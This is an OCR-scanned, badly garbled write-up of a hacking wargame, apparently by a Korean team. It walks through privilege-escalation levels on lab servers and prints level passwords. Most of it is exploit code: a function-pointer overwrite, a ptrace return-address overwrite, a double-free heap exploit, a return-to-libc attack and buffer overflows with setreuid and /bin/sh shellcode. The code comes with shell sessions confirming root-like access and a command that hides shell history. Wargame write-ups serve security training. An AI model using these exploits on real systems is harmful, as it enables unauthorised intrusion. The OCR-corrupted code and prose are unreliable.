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*» 302, FM=E Word 6.0 #30AM HEEAsLICH
ZANE 424z Word 6.0 ZEIOHS 0IoHFAID| BHEFLICE.

* ZtA X} INetCop Team.
v 2 %

"\x00™: 2tEtSE AJH 2.

"\x01": A Server Levell Step? archmage o215
"\x02": A Server Level2 Step? farseer i 2! 5t 04
"\x03": A Server Level3 Step? dreadlord oH2 5t04
"\x04": A Server Level4 Step? demonhunter oH2
"\x05": A Server Level5 Step? sargeras o216t 2

"\x06": B Server?

"\x07": 2Ol A},
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"\x00": 2t&tst A2,

CHEOIMR. OIE Bt = A Br2sU G
Mal= 0l CHalOl INetCop Team 22 F oAl &I ASLICEH
Mol gof AN It 2lEes 2 YL

4, OlH 2222 SHIIEEE A

Ct.

"\x01": A Server Levell Step? archmage o215t & &t

M3l Team 2 OS2 20| H &9 Password & ¥S4 UUSLICH

id - archmage
passwd - wjdfudrhkgkaRp

netcat = AKX IS B U= UERA =2 LICH
0| netcat= 0|8t UDP off Ct

UAASLICH

T2z )3 HZ -"lusr/local/bin/spamecho”

27|,

213t 20| archmage 2| password E 2==



sh-2.85a$% He -u @ 1892

hello

I Wwant vour email addressszoahcChotwuail. coM
Congratulations!! Access 203, 25¢.59.5 with ID:archuage.

PU: widfudrhkakalp

I want vour eMail address

I want vour eMail address punt!
sh-2. @baj

"\x02": A Server Level2 Step? farseer H215t0 2

id - farseer
passwd - dnfgnwlwsmswk

T280l= MEAQl buffer overflow F &0l EIHGHASLICEH
successNprintpasswd() &5 & &#AII|H CIS level A8t password £

g2+ USUICL

s Z2O80AM M0 st LICH

08048460 <successNprintpasswd>
08048544 <fail>
08048564 <main>

[archuage@khf1 archmagel$ s -al

archMage human a96 8= 9
132 root root a96 8= 8§
root root 82 7
archMage human 82 b
archWagde huMan 82 b
archWagde huMan 82 b
archWagde huMan 82 b
archWagde huMan 996 8Z b
archWagde huMan 5?45 82 9
archMage huMan 82 9
archMage huMan 142?H 82 8

L

Pk ot ok ] ke ok ok ok ke [

[drcthHe@khFl archMagel$ export HISTFILE=-devsnull
[archage®khf1 archMagel$

— 0x82-Funcwrite.c —

/*

* %

** Qverflow, Function Pointer Overwrite Exploit

**

*x exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail .com>.
*x My World: http://x82.i21c.net

**

i
ne
s

« bash_history
. bash_logout.
. bash_profile
. bashrc

. EMacs

kede

ViHiHFO
calhost
whatyourHame

-» “deysHu




*x Special Greets: INetCop team, princ3, etc exploiters.
* %

*/
#include <stdio.h>

#define SUCCESS 0x08048460 // function pointer address
int main(int gc, char **xgv) {

int tk1; unsigned long tk2 = SUCCESS;
char x82[0x82];

memset (x82, 0, 0x82);
if(gec > 1) {
tk2 = strtoul (gv[1], NULL, NULL);
}
for(tk1 = 0; tk1 < 20; tki1++) {

x82[tk1] = 0x82;

}

x82[tk1++] = (tk2 & 0x000000ff) >> 0;
x82[tk1++] = (tk2 & 0x0000ff00) >> 8;
x82[tk1++] = (tk2 & 0x00ff0000) >>16;
x82[tk1++] = (tk2 & Oxff000000) >>24;

printf("%s", x82);

}

Kb, OIHl successNprintpasswd()2 =AE return address 0l overwrite AlZLICtH

[archMade®khf1 archMageld 9cc -0 Bx82-Funckrite 6x82-Funckrite.c
[archMageBkhf1 archMagel$ (./8x82-Funcurite: cat)|. ~whatyourname

Enter vour HaMe(HMAX Lenwgth 48bvtes) Authenticatiod Successt!
Acquired ID: Farseer-PH. dHFIHMLMSHSKHE

[archMagde®khf1 archMagel$

"\x03": A Server Level3 Step? dreadlord o265t &St HI|.

id - dreadlord
passwd - DEATHNREBIRTH



letsdance L 2 ]2 = ptrace process control flow £

Faz HIELUC 0ll, ot F22 gt= =406t &J] Pl prelude J—|'

ﬂJZSE

02
ol

X #ots =20 E0AZSLICH

1) 0I™ 2| stack frame & bp Ol X & &

push 96ebp

2) 1% &M stack frame 2| spat= bp 2 SAE.
mov %esp,%ebp

Debugging -

sh-2. #5a% 9db -9 letsdance
(9db]) br HaiH

o) .
21 LH2 2l monoalphabetic #4922 2 S 35tE password £

Breakpoint 1 at Ax8A4844L. file p3.c. Line 11.

(9db) r xpl

S5tarting prodram:. ~homesfarseersletsdance xpl

Breakpoint 1. Main (ardc=2, argu=BxhLffffbboc) at p3.ci 11
FS'C: Ho such file or directory.

set *Bx8048369-UxA8048bde
set *Bx8048386d-WxA8048bde
set *Bx8048371-0xA8048bde
set *Bx804838 /h=-xA8048bde
set *Bx80488/9-UxA8048bde
set *8x8048bde-x68eb89Ib5

22 g & & Exploit code & LICH

— 0x82-Ptread.xpl.c —

/*

**

*x Ptrace Memory Read Exploit
* %

*x exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail .com>.

** My World: http://x82.i21c.net

**

*x Special Greets: INetCop team, etc exploiters.

**

*/

#include <linux/ptrace.h>



unsigned long
retr = 0x08048869,

addr = 0x080485xx;
int main() {

unsigned long code = 0x68e58955, x0x = 0x080485xx;
/*

*% push  %ebp
** MOV %esp , %ebp
xx c0de = "Wx55WxB89Mxe5Hx68"

*/
int pid;
if((pid = fork()) ==0) {
ptrace(PTRACE_TRACEME, 0, 1, 0 );
execl ("./letsdance", "letsdance", 0);
}
wait((intx) 0);
// Overwriting return address
ptrace(PTRACE_POKEDATA, pid, retr, x0x);
ptrace(PTRACE_POKEDATA, pid, retr+0x04, x0x);
ptrace(PTRACE_POKEDATA, pid, retr+0x04, x0x);
ptrace(PTRACE_POKEDATA, pid, retr+0x04, x0x);
ptrace(PTRACE_POKEDATA, pid, retr+0x04, x0x);
ptrace(PTRACE_POKEDATA, pid, retr+0x04, x0x);
// Make operand
ptrace(PTRACE_POKEDATA, pid, addr, code);
ptrace(PTRACE_SYSCALL, pid, 1, 0);
}
01 F, example.txt II2 S crank(CRyptANalysis toolKit) T2 )22 GlilSol0 255 YAl

FOIHSLICH 28, UM password E (H2 G & password E 22

4>
30

ASLIC

N2 Otell CiphertextE 222X ofls H&ES BF=Al HXHOF &LICH
ZOHMA L0 password "SVRUKCZVIOZUK"'E Xt2il2 oflSoll 2ASLICH

Plaintext:

CiPhertext.
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2dsetE WARE - SVRUKCZVIOZUK
oi== IHA®E - DEATHNREBIRTH

"\x04": A Server Level4 Step? demonhunter o215t =

o
ne

id - demonhunter
passwd - ?

jumpjump setuid &8 ZZ ) 840| home CI2EC|I0 =IHELICH

O Z2080ls M X2l Heap JIEBHNl double free() F &0l =& LICH
exploit &&= % gid nightelf & st= 2= Al, .bash_profile, .bashrc, .bash_logout
eSS +=3ot0, X 22l X root)Lt password E 210 Ue F=ZF2| user It
login & WHNLX THOI6HAE SLICH

Otell & source code = M350t SAMUSM AFE8H exploit & LICH
—— eggshell.c —

#include <stdlib.h>
#include <stdio.h>

#define OFFSET 0
#define BUFFERS 512
#define EGGS 2048
#define NOP 0x90

char shellcode[] = /* setreuid(504, 504) cOde 20byte + shellcOde 45byte */
"Yx3 1#xdb" /* xor ebx, ebx */

"Wx3 1#xc9" /* Xxor ecx, ecx x/

"Wxbbix fBWxO 1Wx f flxff" /* mov $0x1f8, ebx */

"WxOWx fBWxO 1Wx f flxff" /* mov $0x1f8, ecx */

"Wx31#xc0" /* xor eax, eax */
"WxbOWx 46" /* mov $0x46, al =/
"Wxcdifx80" /* int $0x80 */

"Wxebix1d" /* x0xx0xkOkkOk 101 101g00g00g00g00g00 */
"Wx5elix88HWx46Wx 07l x8IMNx46Wx Ocx BN X 76Wx 08X B8Mx f 3"
"Wx8diWx4etx 08IWx8dix 56Wx OcxbOWx Obix cdix 80Wx 3 1ixcO "
"Wx3 1xdbiix40Wx cdifx80Wxe8tx detix f fitx f f¥xff/bin/sh";

unsigned long ep(void) { __asm__("mov| %esp,%eax"): }
main(int argc, char *argv[]) {
char *h, *p, *e;

long *a, d;
int o = OFFSET,



bs = BUFFERS,
i, es = EGGS;

if (argc > 1) bs = atoi(argv[1])
if (argc > 2) o = atoi(argv[2])
if (argc > 3) es = atoi(argv[3])
if (I{b =malloc(bs))) { printf("Sorry~I#n"); exit(0)
if ( ("Sorry~!#n"); exit(0)

’
’
’

.
.

|
(e = malloc(es))) { printf

d =ep() - o; printf("#n Using shellcode address: %pHn#n", d);
=b:; a = (long *) p;

for(i =0; i <bs; i+=4) { *x(att) =d; } p = e;

for(i =0; i <es — strlen(shellcode) — 1; i++) { *(p++) = NOP; }

for(i =0; i < strlen(shellcode): i++) { *(p++) = shellcodelil]; }

blbs — 1] = 'W0'; eles - 1] = '#0';
memcpy (e, "EGG=",4); putenv(e);
memcpy (b, "RET=",4); putenv(b);

system(" ‘which bash'");
}

— 0x82-Dbfree.xpl.c —

/*
*k

*x Heap based double free Exploit :—p
* %

*x —— How to Exploit? —

**

*x sh-2.05a$ ./eggshel |

* %

** |Jsing shellcode address: Oxbffffcl8

**

*x sh-2.05a$ ./0x82-Obfree.xpl Oxbffffc18
**% >> Processing starts

*x% >> Memory for message is ready.

*x* >> Memory for key is ready.

*% >> Using default key

** >> Key is generated: -25

*k SDENCOATNG oottt
**

*x >>Encoding Completed

**% >>Encoded message: x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82
*x*% X82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82

** sh-2.05a$ whoami

** demonhunter

*x sh-2.05a$

*k ———



**

*x Happy Exploit!

**_

*x exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail .com>.
*%x My World: http://x82.i21c.net

**

=% Special Greets: INetCop team, etc exploiters.
**

*/

#include <stdio.h>
#include <string.h>

#define DTORS 0x08049cc4
#define SHELL Oxbffffa98

int main(int argc, char *argv[]) {

int ax82;

unsigned long dtorsr = DTORS, shaddr = SHELL;
char c0de[1024];

bzero(&c0de, 1024);

if(argc > 1) {

shaddr = strtoul(argv[1], NULL, NULL);
}
if(argc > 2) {

dtorsr = strtoul(argv[2], NULL, NULL);
}

for(ax82 = 0; ax82 < 128; ax82++) {

cOde[ax82] = 0x82;
}

// Make fake chunk!

*( *)&c0de[ax82] = Oxfffffffc;

*( *)&c0de[ax82+4] = Oxffffffff;
*(long *)&c0de[ax82+8] = dtorsr - 0x0c;
*( *)&c0de[ax82+12] = shaddr;

// execute jumpjump program

execl ("/home/dreadlord/jumpjump", "jumpjump", cOde, 0);

—

>
02
Y
=



sh-2.85ba% . #8x82-Dhfree. xpl Bxbffffcls
»> Processing starts

»» MeMmory for Messade is ready.

»» Memory for key is readvy.

»> Using default key

»> Key is 9eHerated: -256

»>EHcoding

>>Encoding Completed

»>Encoded Message: xB2xB2x82x82x82x82x82x82x82x82x 8282w B 2uB2xB 2B 2x82x%82
KB2B2nB2InB 2B 2n B 2B 2B 2B 2B 2B 2B 2B 2B 2w B 2B 2B 2B 2n B 2% B 2552

sh-2.85a% whoami

deMonhunter

sh-2. @ba%

"\x05": A Server Level5 Step? sargeras oHZ!60{ 28t S|,

id - sargeras
passwd - ?

fried_egg setuid &8 Z=Z )HZ 0|=Z3t0 buffer overflow exploit 2 & 330tASLICE
o, EZ =20l shellcode & = eggshellcode E 0128 SUESE HEE =
Ol A SLICH exploit &=+A= HH2 HHIKIIF JUSLICH MeleE FIHA 2Y
Ol2otH MZ2 shell & Adct=0 ASotASLILCH

g8t 1) Lamagra 2 Omega Project & 0|28t exploit.
gte] 2) T2 08 Ol A0 2§ shellcode exploit.

1) 2te HHM exploit code -
— 0x82-Omega.c —

/*

**

** Omega Project exploit.

** _

** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
*x My World: http://x82.i21c.net

**

=% Special Greets: INetCop team, etc exploiters.
**

*/

#define SYSTEM 0x42049e54
#define OFFSET 0x82828282



int main() {

int ax82, bx82; long shell;
char atx[256], buf[1024];
bzero(&atx, 256);
bzero(&buf, 1024);

for(ax82 = 0; ax82 < 0x14; ax82 += 4) {
*(long*)&atx[ax82] = OFFSET;
}

*( longx)&atx[ax82] =  SYSTEM;
*( long*)&atx[ax82+4] = OFFSET;

shel| = SYSTEM;
while(memcmp((voidx)shell,"/bin/sh",8))
shel |++;

*( long*)&atx[ax824+8] = shell;
printf("%s",atx);

}
2) U S exploit -
— 0x82-x0xg00.c —

/*
**

*x*% \lery g00d idea Buffer Overflow exploit

**
** —— How to Exploit? —
* %

*

*

sh-2.05a$ (./0x82-x0xg00 —r;cat)|./fried_egg ' ./0x82-x0xg00 -s"
*x* Question : People |ike eggs for many different reasons.

*k It is nutritious, delicious and quite pretty™

*k Why do you think people |ike eggs?

**

**

*x Thank you for your submission.

*k ———

* %

*% U get newshell. jump! uid 505.

** _

*x exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail .com>.
*x My World: http://x82.i21c.net

**

*x Special Greets: INetCop team, etc exploiters.
* %

*/



#include <stdio.h>

#include <strings.h>
#include <stdlib.h>
#include <getopt.h>

#define SHELLADD Oxbffffbe8
#define XplO17€E1z x82 (lol~)

void usage(char =*argx):
void returnx(u_long shcOde):;

void makecOde(void);

char x0x[0x82]; /* xOx! =/
char g00[0x82]; /* g00! =/

void usage(char *argx) {

printf("Wn Usage: %s —option [arguments]#nin", argx):
printf("#t-a [&shellcode] - &shellcode addresstn");
printf("Wt-r - printing returncodetn");
printf("Wt- - ptinting shel |lcodetintn"):
printf(" xamp|e> % —a 0x82828282 —s —rintin", argx);
}

void returnx(u_long shcOde) {

int xret;
memset (g00, 0, 0x82);

for(xret = 0; xret < 0x50; xret += 4) {

g00([xret+0] = (shcOde & 0x000000ff) >> 0;
g00[xret+1] = (shcOde & 0x0000ff00) >> 8;
( )
( )

g00([xret+2] = (shcOde & 0x00ff0000) >>16;
g00([xret+3] shcOde & Oxff000000) >>24;
}

}
int main(int argc, char *argv[]) {

int xwhile;
unsigned long shaddr = SHELLADD;

while((xwhile = getopt(argc, argv, "a:rs")) != EOF) {
switch(xwhile) {

case 'a':



shaddr = strtoul (optarg, 0, 0);
break;

case 'r':
returnx(shaddr);
printf("%s", g00);
/* printing &shellcOde */
break;

case 's':
makecOde();
printf("%s", x0x);
/* printing shellcOde */
break;

case '?':

usage(argv[0]);

break;

}
}
/* very easy? */
}

void makecOde(void) {

int xnop, xcOde;

char shell[] = /* setreuid(505,505) jumpcOde 20byte + shellcOde 45byte */
"Wx3 1 x dbitfx 3 1 x cOWx bW f OWxO 11X f Fix T fixOWx f OWXO 1¥ix f filfx f filtx3 1xcO"
"WxbOWx46Mxcdx80" /* hehe :—p =/

"Wxebix 1 fWx5elx8Mx7EWx08Wx 3 1Wx cONxBBIx46Wx 0 7Wx 89N x 46Wx OcixbOWxOb
"Wx89MWx f 3Wx8dix4etx 08IWx8dix 56Wx Ocix cditx 80Wx 3 11 x dbix 89Wx dBIWx40Wxcd "
"Wx80Wxe8tixdctx f fifx f fitxff/bin/sh";

memset (x0x, 0, 0x82);
for(xnop = 0; xnop < 0x80; xnop++) {

x0x[xnop] = 0x90;
} /% nOp! =/

for(xcOde = 0; xcOde < strlen(shell); xcOdet+) {
xOx[xnop++] = shel | [xcOde];

} /* make shellcOde =/
}



>
0
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sh-2.85a$ 9oc -0 Ax82-xBx9A0 Bx82-xAxghA. ¢
ch-2. B5a$ (. /Bx82-xAxgAA -r: cat)|. Fried_edg ™. ~Bx82-xAxgAa -
Question © People like e39s for Mawy different reasoms.
It is nutritious, delicious and quite pretty™”
Hhy do wou think people like eggs?

Thauk you for vour SUbMISSiOM.
Whoani

Sarderas

exit

sh-2. #ha$

"\x06": B Server?

B Server 820

(= £
MH0l=, deXEQ HigE: 2 remoteformatstring FAAEZ JHE login T )& (?)0]

ZM}M=LICH

FI=H LASHO0l S HEHZ XIS,

?l URLZ2 LHES Soll exploitel 8882 O =2+ ASAYLIC
e |AE 2HZOZR. :-)

"\x07": ZQlAL

OIINA S0 Oele ZAIELICH. tHalel 22 Hol:, WE2 2
S0l sLIt. otXIgH, el S2H0 EE= 08l =ct2 MENS0l & UAYEA
Z2sUC. 2842 2MEOIet ofH, 25 M1 s U= /tmp CIAEC S

p LI
Te0l SeUAEEY H2 ZZNASE SHUHEEs Us BES MEES AUTE



